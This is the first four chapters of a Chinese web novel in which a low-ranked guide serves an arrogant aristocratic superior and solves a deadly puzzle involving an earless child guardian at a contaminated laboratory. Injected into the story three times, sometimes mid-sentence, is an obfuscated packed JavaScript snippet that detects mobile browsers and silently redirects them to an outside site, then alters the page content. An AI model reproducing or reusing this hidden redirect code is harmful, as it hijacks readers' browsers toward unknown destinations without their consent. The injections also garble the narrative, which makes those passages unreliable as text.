《柔弱向导,但驯服天龙人》 1. 第 1 章 【本文首发于晋-江文学城,感谢小天使们支持正版!】 文/焊接女工 福利院的音乐教室,弥漫着陈旧的灰尘气息。 十来个孩子站在临时搭建的小舞台上,紧张地排练着歌曲。 “手再抬高一点,小艾!” 老师拍着手,“对,就是这样!” 被唤作小艾的女孩脸颊泛着潮红,额头上沁出汗珠,却在老师看过来时迅速擦去,努力地绽开笑容。 见她实在不行,老师皱了皱眉:“小艾,你去休息吧。” “没关系,老师!” 女孩却苦苦坚持,“我还可以!” 终于,排练在女孩的坚持下结束。 休息时,另一个羊角辫女孩凑到小艾身边: “姐姐,到底是哪里的大人物要来呀,你都病了也要坚持?” 小艾指了指窗外,那里,有一座非常高的白色巨塔。 “是白塔。” “白塔?” “嗯。” 小艾露出向往的神色,“白塔是14区最繁华、最安全的地方。只有最优秀的哨兵和向导,才有资格在那里工作。” “七年前,我们福利院的第一名,考上了白塔的向导学院,大家都可震惊了呢。” “真的?她叫什么名字?” “呃……” 小艾一噎,“这我就不知道了。” 说着,她重新望向窗外的高塔,喃喃:“如果,我以后也能去白塔,就好了呢……” 就在这时,窗外传来了悬浮车落地的气流声。 白塔的人,来了。 * 池彗亦步亦趋地跟在她的上司身后。 她的直属上司——兰斯·温斯顿有着一头铂金色的卷发,家族祖传的湛蓝眼眸好看极了,像她小时候在福利院玩过的玻璃弹珠。 然而,他的脾气,却与他的美貌成反比。 此刻,兰斯穿着紧身的纯白制服,那双美丽的眼眸中,毫不掩饰地露出嫌恶与鄙夷: “白塔怎么净搞这些没用的活动?这些孤儿,能觉醒一两个哨兵就谢天谢地了,更别提珍贵的向导。要不是为了家族形象,我才懒得来……” “要不要我通知他们,免去欢迎仪式?” 池彗紧跟在上司身后,适时送来贴心的提议,“这样,活动时间还能缩短一些……” “算了。” 她的美丽废物上司头疼地摆了摆手,“在这听小朋友唱歌,总比在会议室听那些老不死的开会强。” 池彗:“。” 二人一路进了礼堂。所有人立刻起身欢迎,孩子们齐声鼓掌,显然做足了准备。 热烈的欢迎仪式,简陋但用心。 池彗扫了一眼。小小的舞台上甚至点缀了五彩的纸花,显然是孩子们亲手折的。 她隐晦地和接引老师交换了一个眼神,对方会意,匆忙让孩子们就位。 “开始吧。” 孩子们开始表演,歌曲的旋律简单而动听。 只是,兰斯的脸上没有任何表情,仿佛耳边的一切,都只是必须被忍耐的噪音。 他是个哨兵,五感敏锐异常。正常人听来旋律和谐的合唱,他却能轻易听出其中跑调的音色,进而分辨出破坏表演的那个人—— 白皙的手指上抬,依次绕过数个孩子,缓缓指向舞台上的小艾。 “你……对,就是你。” 他径自打断表演,指向小艾,眼中充斥着直白的不耐,“你下去。” 小艾本就发着高烧,被这一指,更是吓得魂飞魄散。 她浑身一颤,心中某根绷紧的弦陡然崩断,整个人像断线的木偶一样向前栽倒—— “咚!” 惊呼声炸开。 老师冲到台前,却在半路僵住——兰斯的脸沉了下来。 她愣在原地,气氛顿时凝固至冰点。 就在这时,站在兰斯身后的池彗出来解围。 她觑着兰斯的脸色,心里暗道不妙,弯腰附耳过去: “阁下,她……好像是觉醒精神体了。” “我知道。”兰斯语气淡淡,听不出喜怒。 池彗试探着问:“要不……我去给她看看?” 兰斯皱了皱眉,却没有立刻否定她的提议。 池彗当他默认,快步走上了台。 她蹲下身,手指轻触小艾的额头。 女孩的状态很不好。即便已经昏迷,眉头还是紧紧锁着,并不时发出痛苦的呻吟。 池彗轻轻抚了抚她滚烫的额头,站起身。 “这孩子,不是生病。” 她声音不大,却让整个礼堂安静下来,“她要觉醒精神体了。” 老师瞪大眼睛:“可她才十岁……” “早发性觉醒,哨兵倾向。” 池彗的手悬在女孩额前,掌心泛起淡淡的微光,“她的精神域正在形成,但过程很混乱。如果放任不管,她的意识,或许会被自己的精神力撕碎。” 说着,她闭上眼睛。 “刚好,我是个向导,可以处理她的问题。” …… 意识沉入的瞬间,暴风雪扑面而来。 小艾正在成型的精神域是一片冰原,狂风卷着锋利的冰碴,能见度不足一米。寻常向导在这里撑不过三秒就会被冻结意识,池彗却像散步一样慢慢前行。 冰碴打不伤她的身体,狂风掀不起她的衣角。 很快,池彗看见了风暴的中心——一个蜷缩成团的小小身影,被冰棱层层包裹,正在逐渐失去温度。 她缓缓走近,伸手触碰冰层。 坚冰在她指尖下消融,像退潮一般迅速地散去。她握住女孩的手,将精神力缓缓注入。 风雪渐息。 池彗睁开双眼,退出了女孩的精神域。 “好了。” 女孩迷茫地睁开双眼,脸上的潮红逐渐褪去。 “恭喜你,”池彗摸了摸她的头,“你要觉醒成为一名厉害的哨兵了呢。” 她扶着小艾,慢慢地站了起来。 台下的老师这才敢上前接过孩子,眼眶发红,连声道谢——但谢的不是池彗。 她抱着小艾,转头,向兰斯深深鞠躬:“谢谢您,温斯顿大人!谢谢您派人救了这孩子!” 兰斯接受得理所当然,甚至露出一个恰到好处的温和微笑:“不客气。这是我们白塔应该做的。” “咔嚓”。 一旁随行的摄像师立即按下快门,将他完美的笑容定格在照片里。 …… 表演结束。老师起身,带着白塔一行人前往参观教室。 孩子们挤在后台,不由得舒了口气。 他们这时才终于有时间高兴,将小艾团团围住,羡慕地问这问那起来。 说起刚才的事,羊角辫女孩挠了挠头:“其实,我有一点不太明白。” “你哪里不明白?”另一个孩子问。 “明明救人的是那个大姐姐,为什么老师却要感谢那个穿了一身白的大哥哥呀?” “我知道!” 一旁的男孩忽然插话,“那个大哥哥是大姐姐的上级。下属的功劳,当然要分给上司了啦。” “是吗?” 女孩似懂非懂地撑着下巴,陷入沉思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243014|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这时,白塔一行人结束了参观,朝福利院外的悬浮车走去。 “姐姐,等等!” 羊角辫女孩急忙冲出人群,跑向正要走入悬浮车的池彗。 池彗怔了一下,看向她的上司。 兰斯眼里流露出淡淡的不满。但这会儿在摄像机前,他还是点了点头。 “怎么啦?” 池彗蹲下身来,平视着女孩。 “大姐姐,这个给你。” 女孩摊开手,露出手里攥着的、一朵蔫蔫的野花。 她把花塞进池彗手里,小声说:“谢谢姐姐救了小艾姐姐。” 池彗一愣,接过花,温柔地笑了笑:“谢谢。” 她转身上车。 车门关闭的瞬间,那朵花无声地落进车内的废物处理口,消失前,被搅碎成几片可怜的花瓣。 …… 一进悬浮车,池彗立即回到兰斯所在的房间。 兰斯已经换下军装,靠在座椅上,慢条斯理地挑选着此行的照片。 他一边挑选,一边淡淡开口: “你身上有信息素的味道。” “是吗?” 池彗表情不变,默默走到他侧后方的位置,没提女孩送花的事,“可能是帮那个哨兵女孩做疏导的时候,不小心沾上的。” “我听说……你以前,就是这个福利院出来的?” 兰斯抬了抬下巴,示意她靠近一些,慵懒地问,“今天,有没有遇到熟人?” “……没有。” 池彗缓缓摇头,声音毫无波澜,“过去七年了,这里的孩子早换了一茬,我谁也不认得。” “那就好。” 兰斯笑了,伸手抚过她垂在肩上的黑发,动作轻柔得宛如对待宠物,“我可不希望,我的人,还和这种下三滥的地方有什么牵扯。” “……” 池彗垂下眼帘,没有回话。 沉默在车厢内蔓延。 直到悬浮车驶入白塔的地下通道,兰斯才再次开口,语气变得温柔: “对了,爱丽丝被白塔分配了一个A级任务,有点危险,她不太想去,在跟我抱怨呢。” 他捻着池彗的一缕发丝,绕在指尖,“我手底下向导不少,但趁手的的确不多。所以,我准备让你去。” “好的。”池彗眼也不眨。 兰斯的手指停顿了。 “你可以拒绝的。” 他说,声音里忽然带上一丝难以察觉的紧绷,“其实,我也觉得,爱丽丝有点无理取闹了。只要你……” ——只要你求一求我,我就顺理成章地不让你去。 “我答应。” 池彗平静地看向他,“任务内容什么时候给我?” 车厢里的空气骤然变冷。 兰斯松开她的头发,嘴角的笑意消失了:“你宁愿出这种肮脏的外派任务,也不愿意留在我身边?” 池彗疑惑地望着他:“不是您让我去的吗?” 兰斯一噎,随即更加恼羞成怒。 他猛地靠回座椅,别过脸看向窗外,下颌线绷紧。 “随便你。”他从牙缝里挤出这句话,一字一顿道,“简报今晚发你,一周后出发。” “是。” 悬浮车很快停稳。池彗推门下车,快步离开,纤瘦的背影很快消失在走廊尽头。 兰斯盯着她离开的方向,许久,冷笑一声。 罢了。 等她去了A级污染区,见识到了那里的恐怖,就会知道……安稳地待在他羽翼下,到底有多幸福了。 到时候,她会回来的。 一定会。 2. 第 2 章 这是池彗穿到这个哨向世界的第十年。 穿越前的池彗:寒窗苦读,一朝考上985,成为牛马。 穿越后的池彗:寒窗苦读,一朝觉醒向导,成为顶级天龙人的御用专属牛马。 池彗:“……” 两世为人,命运似乎一直在和她开玩笑。 不过,幸运的是,这一世的她,觉醒成了哨向世界珍贵的向导。 但,倒霉的是,虽然她觉醒成了向导,但她……似乎是个残缺的F级向导。 而这“残缺”的具体表现,主要有两项: 其一,没有精神体。 其二,给哨兵做精神疏导时,她经常会感到一阵莫名的头疼。 对此,池彗非常头疼。 向导虽然珍贵,但在庞大的人口基数下,数量也不少。像她这样的F级向导,按理说,是没资格进白塔的。 但池彗拥有上一世丰富的应试经验,硬生生靠做题逆天改命,给自己博得了一个进白塔的名额。 进入白塔后,一干,就是七年。 七年来,她战战兢兢、如履薄冰,依靠自己出色的卷人能力,顺利卷走一批对手,还获得了白塔三大家族之一——温斯顿家族的第二顺位继承人,兰斯·温斯顿的青眼。 然而,池彗发现,虽然她的薪资提升了,但她的地位,依然和开局没什么两样。 在白塔外,她是最底层的贫民孤儿,一无所有。 而在白塔内,她是最底层的F级向导,还是一无所有。 池彗:“。” 讲真,池彗有点自闭。 她觉得,自己需要一个机会。 一个,足够让白塔高层摒弃等级歧视,认可她能力的机会。 只是,比机会先到来的,往往是一个又一个的、给天龙人上司擦屁-股的机会。 这不,又来活了。 池彗在心里默默翻了个白眼,面上却露出无懈可击的打工人招牌微笑: “精神疏导结束了。先生,您感觉怎么样?” “非常好!” 坐在她对面的哨兵,一个刚从污染区轮换回来的中尉站起身来,豪迈地拍了拍她的肩,差点没给池彗拍出内伤来,“池向导,你的精神疏导太给力了!我精神图景里那些灰色的絮状物,这会,居然全都不见了!” 池彗白着脸,被他拍得身形一晃,却还要露出服务业从业者的温柔微笑: “……有效果就好。” 为了挪出外勤任务的时间,她这几天连轴转,把下周的精神疏导名额也一并清了,一连接待了八个哨兵,忙得脚不沾地。 每个哨兵离开时都神清气爽,只有她,头疼得像要裂开。 送走最后一个客户,池彗看了眼终端上的时间:晚上十一点半。 她揉了揉胀痛的太阳穴,直接把自己送进了白塔医务室。 医务室最里间的床位,是她常驻的据点。 池彗轻车熟路地走进去,和值班护士点头示意,然后瘫倒在床上,用被子蒙住脸,不禁发出一声舒服的喟叹: “如果可以,真想一辈子住在这啊……” 就在这时,一只骨节分明的手轻轻掀开被窝一角。 医务室的值班医生——B级哨兵西伊走了过来。 他是哨兵里少见的beta型,头发留得略长,半扎着狼尾,气质内敛,不露锋芒。 今天他是夜班,刚处理完几个病人,就看见了池彗。 见状,西伊忙走过来,摘下半边口罩,看她这副懒洋洋的模样,又是好气又是好笑,笑骂道:“出息。” 一见是他,池彗才吊起来的那口气,又默默咽了回去。 她在床上伸了个懒腰,头疼一阵阵地往上涌,索性在病床上继续装死,不动了。 “你要休息,怎么不回宿舍,偏偏来我这避难?”西伊拖了把椅子在她床边坐下,不急不缓地问。 “这还用问?宿舍哪有医务室舒服啊。” 池彗答得理所当然,哼笑道,“F级向导的宿舍是四人间,一举一动全被室友看光,哼个歌都得央求室友同意。医务室就不同了,单人单间,豪华病房,还有专人陪护……” 话到一半,她的唇忽然被人堵住。 西伊带着橡胶手套的手,轻柔地抵在她的唇畔,阻止了她“大逆不道”的言论。 “小声点。” 他无奈,茶色的眼眸在灯光下显得格外温和,“医务室隔音不好。你这话,要是让隔壁病房的几个哨兵听见,指不定要闹出多大的风浪呢……” “这不是有你顶着吗?”池彗朝他狡黠地眨了眨眼。 西伊是她入职白塔以来,所交到的唯一一个朋友。 曾经的他,是白塔负责出外勤的战士,却在一次任务中,不慎被污染物伤了眼睛,无法继续再战斗了。 为了决定他的去留,白塔高层们开会讨论了很久。 考虑到他久经沙场,急救知识非常丰富,在贵族们的举手表决下,西伊摇身一变,成了白塔医务室的一名医务官。 他刚转职医务官的时候,精神域污染非常严重,经常来找池彗疏导污染,池彗也尽心尽力地帮他。一来二去,二人就混熟了。 西伊知道她有头疼的毛病,经常私下里给她开些止疼药,对她十分照顾。池彗也投桃报李,知道他精神域内污染顽固,总是找各种理由,给他免费做精神疏导。 二人互利互惠,各取所需,友谊十分坚固。 “听说你要出外勤了?”西伊重新帮她掖好被角,状似随意地问。 “嗯,半周后。” “A-7污染区?” 池彗点头。 西伊的动作停顿了一瞬。 他抬起眼,那双受过伤的瞳孔,在灯光下显得有些对不上焦: “那里很危险。去年折了三支小队,其中,甚至有两名A级向导。” “我知道。”池彗平静地说。 “知道还去?”西伊皱眉,“兰斯·温斯顿就真这么——” “西伊。” 池彗打断他,声音很轻,却带着不容置疑的意味。 西伊闭了嘴。他盯着她看了几秒,最终叹了口气,从白大褂口袋里掏出两个药瓶。 “这是一周份的止痛药。” 他站起身来,用身体挡住监控死角,将一个白色药瓶悄悄递给池彗。 “谢了。” 池彗晃了晃药瓶,听着里面熟悉的碰撞声,勾了勾唇。 然而,西伊的动作并未结束。 他从袖中拿出另一个更小的黑色药瓶,递给了她。 池彗一怔。 “这是……?” “嘘。” 西伊将一根手指覆在自己唇前,示意她小声一些。 “这是我从其他地方弄来的禁药,作用还不确定。但据说,它能在绝境之中激发向导的精神力……” 他压低声音,“你知道的,白塔有些贵族,私底下,一直在养污染物相关的实验室。” 池彗接过药瓶,点点头,示意自己明白了。 黑色的药瓶没有任何标签,触感冰凉。她掂了掂,眸光渐渐变得晦涩。 “不到万不得已,别用。”西伊嘱咐道,语气严肃。 池彗再次点头:“放心吧,我还是很惜命的。” “惜命?” 听到这话,西伊无奈地弯了弯唇。 他伸出手,扶了扶池彗睡乱的发旋,茶色眼眸中闪过一丝复杂的情绪: “你啊,要是真这么惜命,就不会几天做完几周的工作,还执意要出这么危险的外派任务了。” “……注意安全,小彗。” “好好好。” 池彗敷衍地应着,把两个药瓶塞进贴身的腰包里,翻了个身,“我睡会儿,到点叫我。” “嗯。” 西伊贴心地为她关灯,离开了病房。 ………… 第二天一早,池彗去兰斯那儿领正式的任务书。 兰斯的办公室位于14区白塔的上层,温斯顿家族独有的办公区域。这里的墙壁是纯白色的合金,镶嵌着温斯顿家族的纹章浮雕——交叉的权杖与橄榄枝,象征权力与和平,讽刺得很。 快走到兰斯办公室时,她迎面撞见了一个人。 不,应该说,是整个白塔没人会不认识的人。 ——S01。 白塔唯一的S级哨兵,战争机器,活着的传奇。他刚从训练场回来,黑色的作战服紧贴着精悍的身体,额发被汗浸湿,露出棱角分明的脸和一双毫无温度的眼睛。 池彗停下脚步,礼貌地打了个招呼:“您好。” 毕竟是潜在客户,S级哨兵的薪水可不低,万一对方有疏导需求,她也好赚上一笔。 S01的目光扫过她,没有停留,径直从她身边走过。 像掠过一团空气。 池彗倒不如何气恼。她一个F级向导,哪里配和S级哨兵扯上干系。她耸耸肩,继续往前走。 但她没注意到的是,这一幕,恰好被隔着办公室单向玻璃的兰斯尽收眼底。 兰斯的脸色瞬间沉了下来。 池彗敲开办公室门时,看见的就是一张阴云密布的脸。 “阁下,我来领取A-7污染区任务书。” 她微微弯腰,向上司温和致意。 兰斯靠在宽大的皮质座椅里,蔚蓝的眼睛冷冷地盯着她,半晌,才阴阳怪气地开口: “池向导好大的面子,连S级哨兵都敢上去搭话了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243015|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池彗顿了顿:“只是打个招呼。” “打招呼?”兰斯嗤笑,“一个F级向导,也配和S级哨兵打招呼?池彗,你是不是忘了自己的身份?” 池彗站在原地,没说话。 “还是说,”兰斯站起身,缓步走到她面前,居高临下地看着她,“你觉得攀上了S01,就能离开我的团队了?” “我没有——” “没有?” 兰斯打断她,手指挑起她一缕黑发,动作轻柔,语气却冰冷刺骨,“那你刚才在走廊里,笑得那么灿烂是给谁看?” 池彗闭了闭眼。 头疼又开始发作了。 “阁下,任务书。”她伸出手,声音平静无波。 兰斯盯着她那只手,看了几秒,忽然笑了。 他掀开唇角,从抽屉里翻出早已备好的任务书,语气恶劣: “你求我啊,池彗。” “那让爱丽丝自己去吧。”池彗翻了个白眼,转身就走。 “等等!” 池彗在门口停下脚步,回眸。 见她看向自己,兰斯冷哼一声,再一次拿起了乔: “池彗、池向导,有你这么和上级说话的吗?你一个F级向导,我破例把你招进团队已属不易,可你却仗着我宠你,屡次顶撞上级——喂!你等等!” 见他又拿出那套熟悉又稚嫩的PUA话术,池彗气乐了,掉头就走。急得兰斯脸涨得通红。 “池彗,唉,你……罢了。” 他恼得半晌没憋出话来,见池彗又是那副油盐不进的死出,更是气不打一处来,头脑一热,愤愤把任务书往上一甩—— 纸张纷纷扬扬,落了一地。 二人隔着飞舞的纸张对望,彼此皆是一愣。 在池彗冷淡的目光中,兰斯有点慌了:“你……” 然而,还未等他把话说完,池彗便已蹲下了身,开始一点点地捡地上散落的纸。 她捡得很慢、很细。捡完后,又慢条斯理地整了整,将任务书上的褶皱捋平。 捡完,她抱着任务书,起身站直,朝他鞠躬,动作完美得挑不出半点错漏: “阁下,如果没有别的事,我就先走了。” 说完,她迅速离开,甚至没给他反应的时间。 办公室的门轻轻合上。 兰斯怔怔地坐着,只觉得心里空落落的,又有些不明白,池彗为什么要和他发这么大的火。 一份任务书而已,再打印一份不就行了? 她一个F级向导、他的下级,也敢这么和她闹脾气? 等她回来,他一定要好好地罚她,看她还敢不敢这样和他说话—— “笃笃。” 就在这时,门外忽然传来一阵敲门声。 兰斯还以为是池彗要回来和他道歉,轻咳一声,忙理了理衣摆:“进。” 门开了,他的副官走了进来: “阁下,关于实验室的事……” “怎么是你?”兰斯脱口而出。 副官愣了一下,欲言又止。 兰斯这才意识到自己刚说了什么。他耳根一红,轻咳一声,摆了摆手:“没事,你说。” 副官这才继续说了下去:“听觉实验室的坐标,变了。我们之前监控的那个废弃工厂,昨晚检测到的污染读数归零了。新坐标在......A-7污染区边缘。” “你说什么?” 兰斯脸色骤变,猛地站起了身。 但他似乎又想到了什么,揉了揉紧皱的眉心,缓缓坐下。 池彗......不日后就要出发,去A-7污染区。 巧合吗? “此事你别声张,我会处理。”兰斯沉声道。 “是。” 副官点头,迟疑了一下,“那,池向导那边......” “不用管。” 兰斯打断他,眼神冷了下来,“她自己要去的。” 副官退了出去。 办公室重新恢复寂静。 兰斯靠在椅背上,目光落在窗外,指尖无意识地敲击着桌面。 良久,他点开终端,打开下属发来的加密邮件。 【F级向导池彗|行为观察报告】 他快速滑动屏幕,略过前面的套话,目光径自停留在最后一段: 【……无异常社交行为。与医务官西伊·坎贝尔交往密切,疑似存在药物私下流通。头疼症状持续,原因不明。】 兰斯盯着上面西伊的名字,看了很久,眼中神色愈发不悦起来。 然后,他关掉邮件,打开了另一份报告。 【听觉实验室清理预案】 报告里,只写着两行短句: 【建议销毁】 【执行人:S01】 3. 第 3 章 池彗本次任务被分配到的护卫哨兵,名叫C39。 白塔的哨兵和向导,都是有编号的。一般来说,出任务的队友,叫编号就可以。池彗自己的编号是F92,即为第92个被评为F级的向导。 不过,与池彗这种外来者考上的例子不同,C39是白塔本土圈养的孤儿。这种本土培养的哨兵战士,一般没有大名,只有编号。 因此,池彗自我介绍后,C39对她的名字有点好奇,一个劲地缠着她问这问那。 “池向导,你的名字是谁给你起的呀?”他问。 池彗目光放空,考虑到他是兰斯派来的人,没有回答他的问题。 她转移话题道:“叫池向导太生分了,你叫我池彗就行。” “姐姐你是前辈,我叫名字有点不好意思。要不……池姐?池彗姐姐?”C39歪了歪头。 他年纪小,长着一张娃娃脸,叫起姐姐来,竟意外地合适。 池彗被他缠得有点无奈:“呃……你爱叫什么就叫什么吧。” “好的,池彗姐姐。” 少年咧开嘴,露出阳光的笑容,有点晃眼。 他们本次的任务内容,是清理A-7污染区的异常污染物。 近期污染灾害频发,污染区的污染物数量暴增。白塔增加了不少外派任务。 因为是较难的A级任务,兰斯嘴上说着不在意,却给池彗拨了很多人手。 除了专门负责贴身保护她的C39之外,他还拨了一整支哨兵小队,等级基本介于D级~C级之间,供池彗调遣。 只是,这支哨兵小队,似乎不太服从池彗的安排。 “真是小刀剌屁-股,开了眼了!” 为首的哨兵队长一脸懑愤,“爱丽丝大人呢?我出过这么多任务,还是头一回遇见让F级向导带队的先例!” 他似乎是把池彗当成兰斯手下的关系户了,非常瞧不起她。 池彗:“……” 入职白塔以来,这种情况她见得多了,也懒得和人废话,直接露出招牌礼貌微笑: “没关系,你是队长,更了解你的队员们。有什么安排,你就自己来吧。” “这还差不多。” 队长开始蹬鼻子上脸,颐指气使道,“我的手下污染值有点高了,你能给他们做个精神疏导吗?” “抱歉,外勤任务比较危险,我要保存精神力。” 面对他的不合理要求,池彗直接拒绝。 笑话。给她发工资的又不是他,想白得一次精神疏导?没门。 除开这段小插曲,清除任务进行得非常顺利。 污染物虽多,但战力着实一般。池彗最擅长这种群体操控哨兵的活计,精神力牵出无形的丝线,统筹掌控着这些哨兵。 清理了大半天,哨兵们居然一个受伤的都没有。 众队员不禁暗暗用崇拜的目光看向池彗。一旁贴身保护她的C39看得最清楚,眼里更是冒起了星星: “姐姐,你好厉害!” 哨兵队长见状,面上开始挂不住了。 他冷哼一声,继续和池彗唱反调:“怪不得要节约‘珍贵的精神力’,原来是在这等着呢。” 池彗没和他一般见识。 她在C39的保护下,跟随队伍,一路向前。 “穿过这片浓雾,清理就结束了。” C39眯起双眸,对着终端,努力辨认着污染区的轮廓。 一行人穿过迷雾。然而,迷雾尽头,却是一座奇怪的建筑。 更准确地说,是一座建筑的废墟。 它半埋在地下,露出的部分覆盖着厚厚的青苔,但从残存的轮廓可以看出,它曾是某种人类活动过的建筑。 最诡异的是,这座废墟周围,聚集着密密麻麻的污染物。 它们没有攻击池彗等人,只是静静地围着废墟,像朝圣的信徒。 “这是什么鬼地方……”一名哨兵喃喃道。 池彗皱了皱眉,调动精神力,看见废墟入口处,有一块几乎被苔藓完全覆盖的门牌。 正与她共享视野的C39见状,率先上前,拂去表层的尘埃。 几个字露了出来—— 【听觉实验室】。 “既然是清理任务,那这座污染区的污染物自然也要清理。” 哨兵队长率先打破沉默,“这里面肯定有污染源,摧毁它,任务不就完成了?” “不行。”池彗却摇了摇头。 “那你准备怎么办?”队长皱眉。 “立即撤离,上报白塔。” 哨兵们面面相觑。他们看了看队长,又看向池彗。 队长表情挣扎。显然,经过一上午的战斗,池彗已经赢得了这支队伍的信任。但……临阵脱逃,对他来说是耻辱。 “我也觉得应该先走。” C39突然开口,站到池彗身边,“我的精神体说……这里的感觉,很不好。” 他的精神体,一只半透明的蓝色水母,不安地在他肩头盘旋。 其他哨兵犹豫了片刻,也陆续点头。 哨兵队长退让了:“行,撤退。池向导,你向白塔发报告吧——” 然而,话到一半,却戛然而止。 因为,那些原本安静的污染物,突然动了。 它们如潮水般向两侧分开,露出一条通往实验室废墟入口的路,仿佛在邀请。 “这什么啊……”一名哨兵咒骂出声,举起了枪。 但下一秒,更恐怖的事情发生了。 地面开始震动。灰白色的地平线上,涌起了一道黑色浪潮。 ——是污染物。 成千上万、密密麻麻,像一片移动的森林。 它们从四面八方围过来,速度不快,却带着一股无法阻挡的压迫感。 “姐姐……” C39的声音有些发颤,“我们,好像走不掉了。” 这时,忽然有人“嘶”了一声。 因为,那门前的空地上,凭空出现了一座小山,吸引了所有人的目光—— 耳朵。 一大堆被切割下来的、人类的耳朵。 那些耳朵有的新鲜,有的早已腐烂,堆积如山。 而在山前,站着一个“人”。 那是一个……看起来只有七八岁的小女孩。 她与人类几乎没有什么不同,只是没有耳朵。 那原本属于耳朵的地方,竟生长着一对诡异的蝴蝶双翅,随着空气微微扇动。 她静静站在那里,双眸直勾勾地盯着闯入的哨兵们。 “怪物!” 一名哨兵条件反射般举枪,对着女孩扣动扳机! “砰——” 枪响,子弹命中女孩额头,却没在她的身上留下半点伤害。 “这、这是‘规则污染’!” 哨兵队长面色煞白,“这至少得是A级污染物,才能做到规则污染。物理攻击……大概率对她无效。” 仿佛是印证他的话,小女孩伸出一只手,指向身旁的耳朵山,缓缓启唇: “你们,有找到……我的耳朵吗?” 清澈动听的童音在山谷里回荡,令人毛骨悚然。 池彗后退半步,转头—— 门侧墙壁上,赫然贴着一张薄薄的A4纸。 【听觉实验室安全守则】 1、守门人在找她的“耳朵”,帮助她是你的首要职责。 2、实验室不提供“耳朵”。你只能给予错误的“耳朵”。 3、给予错误的“耳朵”,会遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243016|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到惩罚。 4、禁止以任何形式攻击守门人。那不会伤害她,只会使她愤怒。 ——规则。 简单的四句话,却处处透着诡异。 “耳朵?她是要我们帮她从这堆烂肉里,找到她原来的耳朵吗?” 一名哨兵看着堆积如山的耳朵,表情难看,“这怎么找?都腐烂成这样了……” “或许,是要我们给她找一对新耳朵?” 另一个哨兵喃喃,不由自主打了个寒颤,捂住了自己的耳朵。 “啊——!” 然而,就在这时,一名哨兵终于承受不住眼前恐怖的景象,猛然冲到前方,从耳朵山里胡乱抓起一只新鲜的人耳! “给、给你!你的耳朵!” 他眼中血丝密布,显然污染值已经超标。 小女孩缓缓转头,漆黑的眸子看了过来。耳边的蝴蝶翅膀,停止了扇动。 然后,她轻轻摇头,语调与刚才别无二致: “你找到……我的耳朵了吗?” 年轻哨兵愣住:“这……这不是吗?” 下一秒。 女孩的身影,如同鬼魅般出现在他眼前,速度快得无人看清。 她抬起小手,指甲不知何时变得漆黑且尖锐,如同昆虫的刺针! “噗嗤。” 一声轻响。 年轻哨兵甚至没感到疼痛,只觉得右耳一凉。 他下意识摸去,却只摸到温热的液体,喷涌而出。 他的右耳,被完整切下,落在了地上。 “啊——!!” 迟来的痛楚令他发出凄厉的惨叫,捂着血流如注的半边脸,踉跄跪地。 小女孩捡起那只新鲜出炉的耳朵,看了看,露出失望的表情。 “你找到……我的耳朵了吗?” 她第三次重复着这句话,空洞的黑瞳,淡漠地扫视着其他人。 这时,C39上前两步,想要挡在池彗身前,却被池彗一把拉住。 “别动。” 她伸出手,力量很轻,“我可以解决。” C39怔了怔,回眸看她。 池彗淡淡瞥了队长一眼:“我记得,你们队内有无线波传讯?” “对,你问这个作甚?” “既然如此,那应该也带了调频仪吧?给我。” “哦、哦。” 队长虽不明所以,却还是翻出调频仪,递给池彗。 “让我试试。” 池彗快速拨动调频仪,按下了发射按钮。 仪器开始运转,发出人耳无法捕捉的高频振动。 而这时,小女孩那对美丽的蝴蝶“耳朵”,忽然,猛烈地颤动了一下! 她漆黑的眸子眨了眨,一缕惊喜的光芒一闪而过。 “这是……声音……” 几秒后,她扯出一个甜美的笑容,弯腰,朝池彗鞠了一躬。 “谢谢。” 女孩转身,小手一推,推开身后巨大的门。 “就……就这么简单?”一旁的哨兵队长目瞪口呆。 “是啊,就这么简单。” 池彗把调频仪扔回去,淡淡道,“你也看见了,她的‘耳朵’,是蝴蝶做的。” “蝴蝶没有‘耳朵’,却有听觉。它们所能听到的频率,约为几百kHz,是人类划定的超声波。” 眼前的蝶人女孩,无法听见人类说话,却能听见超声波。 “规则已经暗示过了……‘你只能给予错误的耳朵’。这说明,‘给予耳朵’不是正确的思路。” “让她意识到,自己仍然拥有‘听觉’,她就会自己让开了。” 说着,池彗笑了笑。 “这个所谓的‘规则污染’……还怪温柔的呢。” 4. 第 4 章 话音刚落,C39便用崇拜的星星眼看向她: “姐姐,你懂的好多哦。” 池彗第一次被人这样捧哏,面上不显,心里却有点乐。 她冷脸装酷:“以前在向导学院的时候,恰好学过这些。” 其实,是她考前最后一天熬夜硬背的。 有着前世的高考经验,向导学院的文化课对池彗来说,就是洒洒水而已。她闭着眼都能拿A。 只是,文化课的轻松,不代表实战课就能顺利。 